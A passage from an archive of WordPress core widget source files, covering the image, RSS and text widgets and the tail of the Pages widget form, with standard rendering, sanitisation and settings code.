			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat">
				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e( 'Page title' ); ?></option>
				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e( 'Page order' ); ?></option>
				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
			</select>
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label>
			<input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" />
			<br />
			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
		</p>
		<?php
	}

}
class-wp-widget-media-image.php000064400000027405152333503070012435 0ustar00<?php
/**
 * Widget API: WP_Widget_Media_Image class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements an image widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Image extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_image',
			__( 'Image' ),
			array(
				'description' => __( 'Displays an image.' ),
				'mime_type'   => 'image',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No image selected' ),
				'add_media'                  => _x( 'Add Image', 'label for button in the image widget' ),
				'replace_media'              => _x( 'Replace Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'We can&#8217;t find that image. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Image Widget (%d)', 'Image Widget (%d)' ),
				'media_library_state_single' => __( 'Image Widget' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		return array_merge(
			array(
				'size'              => array(
					'type'        => 'string',
					'enum'        => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
					'default'     => 'medium',
					'description' => __( 'Size' ),
				),
				'width'             => array( // Via 'customWidth', only when size=custom; otherwise via 'width'.
					'type'        => 'integer',
					'minimum'     => 0,
					'default'     => 0,
					'description' => __( 'Width' ),
				),
				'height'            => array( // Via 'customHeight', only when size=custom; otherwise via 'height'.
					'type'        => 'integer',
					'minimum'     => 0,
					'default'     => 0,
					'description' => __( 'Height' ),
				),

				'caption'           => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => 'wp_kses_post',
					'description'           => __( 'Caption' ),
					'should_preview_update' => false,
				),
				'alt'               => array(
					'type'              => 'string',
					'default'           => '',
					'sanitize_callback' => 'sanitize_text_field',
					'description'       => __( 'Alternative Text' ),
				),
				'link_type'         => array(
					'type'                  => 'string',
					'enum'                  => array( 'none', 'file', 'post', 'custom' ),
					'default'               => 'custom',
					'media_prop'            => 'link',
					'description'           => __( 'Link To' ),
					'should_preview_update' => true,
				),
				'link_url'          => array(
					'type'                  => 'string',
					'default'               => '',
					'format'                => 'uri',
					'media_prop'            => 'linkUrl',
					'description'           => __( 'URL' ),
					'should_preview_update' => true,
				),
				'image_classes'     => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'extraClasses',
					'description'           => __( 'Image CSS Class' ),
					'should_preview_update' => false,
				),
				'link_classes'      => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'linkClassName',
					'should_preview_update' => false,
					'description'           => __( 'Link CSS Class' ),
				),
				'link_rel'          => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'linkRel',
					'description'           => __( 'Link Rel' ),
					'should_preview_update' => false,
				),
				'link_target_blank' => array(
					'type'                  => 'boolean',
					'default'               => false,
					'media_prop'            => 'linkTargetBlank',
					'description'           => __( 'Open link in a new tab' ),
					'should_preview_update' => false,
				),
				'image_title'       => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => 'sanitize_text_field',
					'media_prop'            => 'title',
					'description'           => __( 'Image Title Attribute' ),
					'should_preview_update' => false,
				),

				/*
				 * There are two additional properties exposed by the PostImage modal
				 * that don't seem to be relevant, as they may only be derived read-only
				 * values:
				 * - originalUrl
				 * - aspectRatio
				 * - height (redundant when size is not custom)
				 * - width (redundant when size is not custom)
				 */
			),
			parent::get_instance_schema()
		);
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$instance = wp_parse_args(
			$instance,
			array(
				'size' => 'thumbnail',
			)
		);

		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		if ( $attachment ) {
			$caption = '';
			if ( ! isset( $instance['caption'] ) ) {
				$caption = $attachment->post_excerpt;
			} elseif ( trim( $instance['caption'] ) ) {
				$caption = $instance['caption'];
			}

			$image_attributes = array(
				'class' => sprintf( 'image wp-image-%d %s', $attachment->ID, $instance['image_classes'] ),
				'style' => 'max-width: 100%; height: auto;',
			);
			if ( ! empty( $instance['image_title'] ) ) {
				$image_attributes['title'] = $instance['image_title'];
			}

			if ( $instance['alt'] ) {
				$image_attributes['alt'] = $instance['alt'];
			}

			$size = $instance['size'];

			if ( 'custom' === $size || ! in_array( $size, array_merge( get_intermediate_image_sizes(), array( 'full' ) ), true ) ) {
				$size  = array( $instance['width'], $instance['height'] );
				$width = $instance['width'];
			} else {
				$caption_size = _wp_get_image_size_from_meta( $instance['size'], wp_get_attachment_metadata( $attachment->ID ) );
				$width        = empty( $caption_size[0] ) ? 0 : $caption_size[0];
			}

			$image_attributes['class'] .= sprintf( ' attachment-%1$s size-%1$s', is_array( $size ) ? implode( 'x', $size ) : $size );

			$image = wp_get_attachment_image( $attachment->ID, $size, false, $image_attributes );

		} else {
			if ( empty( $instance['url'] ) ) {
				return;
			}

			$instance['size'] = 'custom';
			$caption          = $instance['caption'];
			$width            = $instance['width'];
			$classes          = 'image ' . $instance['image_classes'];
			if ( 0 === $instance['width'] ) {
				$instance['width'] = '';
			}
			if ( 0 === $instance['height'] ) {
				$instance['height'] = '';
			}

			$image = sprintf(
				'<img class="%1$s" src="%2$s" alt="%3$s" width="%4$s" height="%5$s" />',
				esc_attr( $classes ),
				esc_url( $instance['url'] ),
				esc_attr( $instance['alt'] ),
				esc_attr( $instance['width'] ),
				esc_attr( $instance['height'] )
			);
		} // End if().

		$url = '';
		if ( 'file' === $instance['link_type'] ) {
			$url = $attachment ? wp_get_attachment_url( $attachment->ID ) : $instance['url'];
		} elseif ( $attachment && 'post' === $instance['link_type'] ) {
			$url = get_attachment_link( $attachment->ID );
		} elseif ( 'custom' === $instance['link_type'] && ! empty( $instance['link_url'] ) ) {
			$url = $instance['link_url'];
		}

		if ( $url ) {
			$link = sprintf( '<a href="%s"', esc_url( $url ) );
			if ( ! empty( $instance['link_classes'] ) ) {
				$link .= sprintf( ' class="%s"', esc_attr( $instance['link_classes'] ) );
			}
			if ( ! empty( $instance['link_rel'] ) ) {
				$link .= sprintf( ' rel="%s"', esc_attr( $instance['link_rel'] ) );
			}
			if ( ! empty( $instance['link_target_blank'] ) ) {
				$link .= ' target="_blank"';
			}
			$link .= '>';
			$link .= $image;
			$link .= '</a>';
			$image = wp_targeted_link_rel( $link );
		}

		if ( $caption ) {
			$image = img_caption_shortcode(
				array(
					'width'   => $width,
					'caption' => $caption,
				),
				$image
			);
		}

		echo $image;
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-image-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $exported_schema )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $this->widget_options['mime_type'] ),
				wp_json_encode( $this->l10n )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts();

		?>
		<script type="text/html" id="tmpl-wp-media-widget-image-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_'; #>
			<# if ( data.url ) { #>
			<p class="media-widget-image-link">
				<label for="{{ elementIdPrefix }}linkUrl"><?php esc_html_e( 'Link to:' ); ?></label>
				<input id="{{ elementIdPrefix }}linkUrl" type="text" class="widefat link" value="{{ data.link_url }}" placeholder="https://" pattern="((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#).*">
			</p>
			<# } #>
		</script>
		<script type="text/html" id="tmpl-wp-media-widget-image-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<div class="notice notice-error notice-alt notice-missing-attachment">
					<p><?php echo $this->l10n['missing_attachment']; ?></p>
				</div>
			<# } else if ( data.error ) { #>
				<div class="notice notice-error notice-alt">
					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
				</div>
			<# } else if ( data.url ) { #>
				<img class="attachment-thumb" src="{{ data.url }}" draggable="false" alt="{{ data.alt }}"
					<# if ( ! data.alt && data.currentFilename ) { #>
						aria-label="
						<?php
						echo esc_attr(
							sprintf(
								/* translators: %s: The image file name. */
								__( 'The current image has no alternative text. The file name is: %s' ),
								'{{ data.currentFilename }}'
							)
						);
						?>
						"
					<# } #>
				/>
			<# } #>
		</script>
		<?php
	}
}
class-wp-widget-rss.php000064400000010727152333503070011104 0ustar00<?php
/**
 * Widget API: WP_Widget_RSS class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a RSS widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_RSS extends WP_Widget {

	/**
	 * Sets up a new RSS widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Entries from any RSS or Atom feed.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,

		);
		$control_ops = array(
			'width'  => 400,
			'height' => 200,
		);
		parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops );
	}

	/**
	 * Outputs the content for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current RSS widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( isset( $instance['error'] ) && $instance['error'] ) {
			return;
		}

		$url = ! empty( $instance['url'] ) ? $instance['url'] : '';
		while ( ! empty( $url ) && stristr( $url, 'http' ) !== $url ) {
			$url = substr( $url, 1 );
		}

		if ( empty( $url ) ) {
			return;
		}

		// Self-URL destruction sequence.
		if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ), true ) ) {
			return;
		}

		$rss   = fetch_feed( $url );
		$title = $instance['title'];
		$desc  = '';
		$link  = '';

		if ( ! is_wp_error( $rss ) ) {
			$desc = esc_attr( strip_tags( html_entity_decode( $rss->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) );
			if ( empty( $title ) ) {
				$title = strip_tags( $rss->get_title() );
			}
			$link = strip_tags( $rss->get_permalink() );
			while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) {
				$link = substr( $link, 1 );
			}
		}

		if ( empty( $title ) ) {
			$title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' );
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$url  = strip_tags( $url );
		$icon = includes_url( 'images/rss.png' );
		if ( $title ) {
			$title = '<a class="rsswidget" href="' . esc_url( $url ) . '"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="' . esc_url( $icon ) . '" alt="RSS" /></a> <a class="rsswidget" href="' . esc_url( $link ) . '">' . esc_html( $title ) . '</a>';
		}

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : __( 'RSS Feed' );
			echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
		}

		wp_widget_rss_output( $rss, $instance );

		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];

		if ( ! is_wp_error( $rss ) ) {
			$rss->__destruct();
		}
		unset( $rss );
	}

	/**
	 * Handles updating settings for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$testurl = ( isset( $new_instance['url'] ) && ( ! isset( $old_instance['url'] ) || ( $new_instance['url'] !== $old_instance['url'] ) ) );
		return wp_widget_rss_process( $new_instance, $testurl );
	}

	/**
	 * Outputs the settings form for the RSS widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		if ( empty( $instance ) ) {
			$instance = array(
				'title'        => '',
				'url'          => '',
				'items'        => 10,
				'error'        => false,
				'show_summary' => 0,
				'show_author'  => 0,
				'show_date'    => 0,
			);
		}
		$instance['number'] = $this->number;

		wp_widget_rss_form( $instance );
	}
}
class-wp-widget-text.php000064400000051465152333503070011265 0ustar00<?php
/**
 * Widget API: WP_Widget_Text class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Text widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Text extends WP_Widget {

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Sets up a new Text widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_text',
			'description'                 => __( 'Arbitrary text.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'text', __( 'Text' ), $widget_ops, $control_ops );
	}

	/**
	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		wp_add_inline_script( 'text-widgets', sprintf( 'wp.textWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) );

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		// Note that the widgets component in the customizer will also do
		// the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		// Note that the widgets component in the customizer will also do
		// the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Text', 'render_control_template_scripts' ) );
	}

	/**
	 * Determines whether a given instance is legacy and should bypass using TinyMCE.
	 *
	 * @since 4.8.1
	 *
	 * @param array $instance {
	 *     Instance data.
	 *
	 *     @type string      $text   Content.
	 *     @type bool|string $filter Whether autop or content filters should apply.
	 *     @type bool        $legacy Whether widget is in legacy mode.
	 * }
	 * @return bool Whether Text widget instance contains legacy data.
	 */
	public function is_legacy_instance( $instance ) {

		// Legacy mode when not in visual mode.
		if ( isset( $instance['visual'] ) ) {
			return ! $instance['visual'];
		}

		// Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy.
		if ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ) {
			return false;
		}

		// If the text is empty, then nothing is preventing migration to TinyMCE.
		if ( empty( $instance['text'] ) ) {
			return false;
		}

		$wpautop         = ! empty( $instance['filter'] );
		$has_line_breaks = ( false !== strpos( trim( $instance['text'] ), "\n" ) );

		// If auto-paragraphs are not enabled and there are line breaks, then ensure legacy mode.
		if ( ! $wpautop && $has_line_breaks ) {
			return true;
		}

		// If an HTML comment is present, assume legacy mode.
		if ( false !== strpos( $instance['text'], '<!--' ) ) {
			return true;
		}

		// In the rare case that DOMDocument is not available we cannot reliably sniff content and so we assume legacy.
		if ( ! class_exists( 'DOMDocument' ) ) {
			// @codeCoverageIgnoreStart
			return true;
			// @codeCoverageIgnoreEnd
		}

		$doc = new DOMDocument();

		// Suppress warnings generated by loadHTML.
		$errors = libxml_use_internal_errors( true );
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		@$doc->loadHTML(
			sprintf(
				'<!DOCTYPE html><html><head><meta charset="%s"></head><body>%s</body></html>',
				esc_attr( get_bloginfo( 'charset' ) ),
				$instance['text']
			)
		);
		libxml_use_internal_errors( $errors );

		$body = $doc->getElementsByTagName( 'body' )->item( 0 );

		// See $allowedposttags.
		$safe_elements_attributes = array(
			'strong'  => array(),
			'em'      => array(),
			'b'       => array(),
			'i'       => array(),
			'u'       => array(),
			's'       => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'hr'      => array(),
			'abbr'    => array(),
			'acronym' => array(),
			'code'    => array(),
			'dfn'     => array(),
			'a'       => array(
				'href' => true,
			),
			'img'     => array(
				'src' => true,
				'alt' => true,
			),
		);
		$safe_empty_elements      = array( 'img', 'hr', 'iframe' );

		foreach ( $body->getElementsByTagName( '*' ) as $element ) {
			/** @var DOMElement $element */
			$tag_name = strtolower( $element->nodeName );

			// If the element is not safe, then the instance is legacy.
			if ( ! isset( $safe_elements_attributes[ $tag_name ] ) ) {
				return true;
			}

			// If the element is not safely empty and it has empty contents, then legacy mode.
			if ( ! in_array( $tag_name, $safe_empty_elements, true ) && '' === trim( $element->textContent ) ) {
				return true;
			}

			// If an attribute is not recognized as safe, then the instance is legacy.
			foreach ( $element->attributes as $attribute ) {
				/** @var DOMAttr $attribute */
				$attribute_name = strtolower( $attribute->nodeName );

				if ( ! isset( $safe_elements_attributes[ $tag_name ][ $attribute_name ] ) ) {
					return true;
				}
			}
		}

		// Otherwise, the text contains no elements/attributes that TinyMCE could drop, and therefore the widget does not need legacy mode.
		return false;
	}

	/**
	 * Filters gallery shortcode attributes.
	 *
	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
	 * non-singular template where a $post context is not available.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attrs Attributes.
	 * @return array Attributes.
	 */
	public function _filter_gallery_shortcode_attrs( $attrs ) {
		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
			$attrs['id'] = -1;
		}
		return $attrs;
	}

	/**
	 * Outputs the content for the current Text widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Text widget instance.
	 */
	public function widget( $args, $instance ) {
		global $post;

		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$text                  = ! empty( $instance['text'] ) ? $instance['text'] : '';
		$is_visual_text_widget = ( ! empty( $instance['visual'] ) && ! empty( $instance['filter'] ) );

		// In 4.8.0 only, visual Text widgets get filter=content, without visual prop; upgrade instance props just-in-time.
		if ( ! $is_visual_text_widget ) {
			$is_visual_text_widget = ( isset( $instance['filter'] ) && 'content' === $instance['filter'] );
		}
		if ( $is_visual_text_widget ) {
			$instance['filter'] = true;
			$instance['visual'] = true;
		}

		/*
		 * Suspend legacy plugin-supplied do_shortcode() for 'widget_text' filter for the visual Text widget to prevent
		 * shortcodes being processed twice. Now do_shortcode() is added to the 'widget_text_content' filter in core itself
		 * and it applies after wpautop() to prevent corrupting HTML output added by the shortcode. When do_shortcode() is
		 * added to 'widget_text_content' then do_shortcode() will be manually called when in legacy mode as well.
		 */
		$widget_text_do_shortcode_priority       = has_filter( 'widget_text', 'do_shortcode' );
		$should_suspend_legacy_shortcode_support = ( $is_visual_text_widget && false !== $widget_text_do_shortcode_priority );
		if ( $should_suspend_legacy_shortcode_support ) {
			remove_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
		}

		// Override global $post so filters (and shortcodes) apply in a consistent context.
		$original_post = $post;
		if ( is_singular() ) {
			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
			$post = get_queried_object();
		} else {
			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
			$post = null;
		}

		// Prevent dumping out all attachments from the media library.
		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		/**
		 * Filters the content of the Text widget.
		 *
		 * @since 2.3.0
		 * @since 4.4.0 Added the `$widget` parameter.
		 * @since 4.8.1 The `$widget` param may now be a `WP_Widget_Custom_HTML` object in addition to a `WP_Widget_Text` object.
		 *
		 * @param string                               $text     The widget content.
		 * @param array                                $instance Array of settings for the current widget.
		 * @param WP_Widget_Text|WP_Widget_Custom_HTML $widget   Current text or HTML widget instance.
		 */
		$text = apply_filters( 'widget_text', $text, $instance, $this );

		if ( $is_visual_text_widget ) {

			/**
			 * Filters the content of the Text widget to apply changes expected from the visual (TinyMCE) editor.
			 *
			 * By default a subset of the_content filters are applied, including wpautop and wptexturize.
			 *
			 * @since 4.8.0
			 *
			 * @param string         $text     The widget content.
			 * @param array          $instance Array of settings for the current widget.
			 * @param WP_Widget_Text $widget   Current Text widget instance.
			 */
			$text = apply_filters( 'widget_text_content', $text, $instance, $this );
		} else {
			// Now in legacy mode, add paragraphs and line breaks when checkbox is checked.
			if ( ! empty( $instance['filter'] ) ) {
				$text = wpautop( $text );
			}

			/*
			 * Manually do shortcodes on the content when the core-added filter is present. It is added by default
			 * in core by adding do_shortcode() to the 'widget_text_content' filter to apply after wpautop().
			 * Since the legacy Text widget runs wpautop() after 'widget_text' filters are applied, the widget in
			 * legacy mode here manually applies do_shortcode() on the content unless the default
			 * core filter for 'widget_text_content' has been removed, or if do_shortcode() has already
			 * been applied via a plugin adding do_shortcode() to 'widget_text' filters.
			 */
			if ( has_filter( 'widget_text_content', 'do_shortcode' ) && ! $widget_text_do_shortcode_priority ) {
				if ( ! empty( $instance['filter'] ) ) {
					$text = shortcode_unautop( $text );
				}
				$text = do_shortcode( $text );
			}
		}

		// Restore post global.
		$post = $original_post;
		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		// Undo suspension of legacy plugin-supplied shortcode handling.
		if ( $should_suspend_legacy_shortcode_support ) {
			add_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
		}

		echo $args['before_widget'];
		if ( ! empty( $title ) ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$text = preg_replace_callback( '#<(video|iframe|object|embed)\s[^>]*>#i', array( $this, 'inject_video_max_width_style' ), $text );

		// Adds 'noopener' relationship, without duplicating values, to all HTML A elements that have a target.
		$text = wp_targeted_link_rel( $text );

		?>
			<div class="textwidget"><?php echo $text; ?></div>
		<?php
		echo $args['after_widget'];
	}

	/**
	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Widget_Media_Video::inject_video_max_width_style()
	 *
	 * @param array $matches Pattern matches from preg_replace_callback.
	 * @return string HTML Output.
	 */
	public function inject_video_max_width_style( $matches ) {
		$html = $matches[0];
		$html = preg_replace( '/\sheight="\d+"/', '', $html );
		$html = preg_replace( '/\swidth="\d+"/', '', $html );
		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
		return $html;
	}

	/**
	 * Handles updating settings for the current Text widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$new_instance = wp_parse_args(
			$new_instance,
			array(
				'title'  => '',
				'text'   => '',
				'filter' => false, // For back-compat.
				'visual' => null,  // Must be explicitly defined.
			)
		);

		$instance = $old_instance;

		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['text'] = $new_instance['text'];
		} else {
			$instance['text'] = wp_kses_post( $new_instance['text'] );
		}

		$instance['filter'] = ! empty( $new_instance['filter'] );

		// Upgrade 4.8.0 format.
		if ( isset( $old_instance['filter'] ) && 'content' === $old_instance['filter'] ) {
			$instance['visual'] = true;
		}
		if ( 'content' === $new_instance['filter'] ) {
			$instance['visual'] = true;
		}

		if ( isset( $new_instance['visual'] ) ) {
			$instance['visual'] = ! empty( $new_instance['visual'] );
		}

		// Filter is always true in visual mode.
		if ( ! empty( $instance['visual'] ) ) {
			$instance['filter'] = true;
		}

		return $instance;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a playlist shortcode is used.
	 * However, in the customizer, a playlist shortcode may be used in a text widget and
	 * dynamically added via selective refresh, so it is important to unconditionally enqueue them.
	 *
	 * @since 4.9.3
	 */
	public function enqueue_preview_scripts() {
		require_once dirname( __DIR__ ) . '/media.php';

		wp_playlist_scripts( 'audio' );
		wp_playlist_scripts( 'video' );
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_editor();
		wp_enqueue_media();
		wp_enqueue_script( 'text-widgets' );
		wp_add_inline_script( 'text-widgets', 'wp.textWidgets.init();', 'after' );
	}

	/**
	 * Outputs the Text widget settings form.
	 *
	 * @since 2.8.0
	 * @since 4.8.0 Form only contains hidden inputs which are synced with JS template.
	 * @since 4.8.1 Restored original form to be displayed when in legacy mode.
	 *
	 * @see WP_Widget_Text::render_control_template_scripts()
	 * @see _WP_Editors::editor()
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'title' => '',
				'text'  => '',
			)
		);
		?>
		<?php if ( ! $this->is_legacy_instance( $instance ) ) : ?>
			<?php

			if ( user_can_richedit() ) {
				add_filter( 'the_editor_content', 'format_for_editor', 10, 2 );
				$default_editor = 'tinymce';
			} else {
				$default_editor = 'html';
			}

			/** This filter is documented in wp-includes/class-wp-editor.php */
			$text = apply_filters( 'the_editor_content', $instance['text'], $default_editor );

			// Reset filter addition.
			if ( user_can_richedit() ) {
				remove_filter( 'the_editor_content', 'format_for_editor' );
			}

			// Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing.
			$escaped_text = preg_replace( '#</textarea#i', '&lt;/textarea', $text );

			?>
			<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>">
			<textarea id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>" class="text sync-input" hidden><?php echo $escaped_text; ?></textarea>
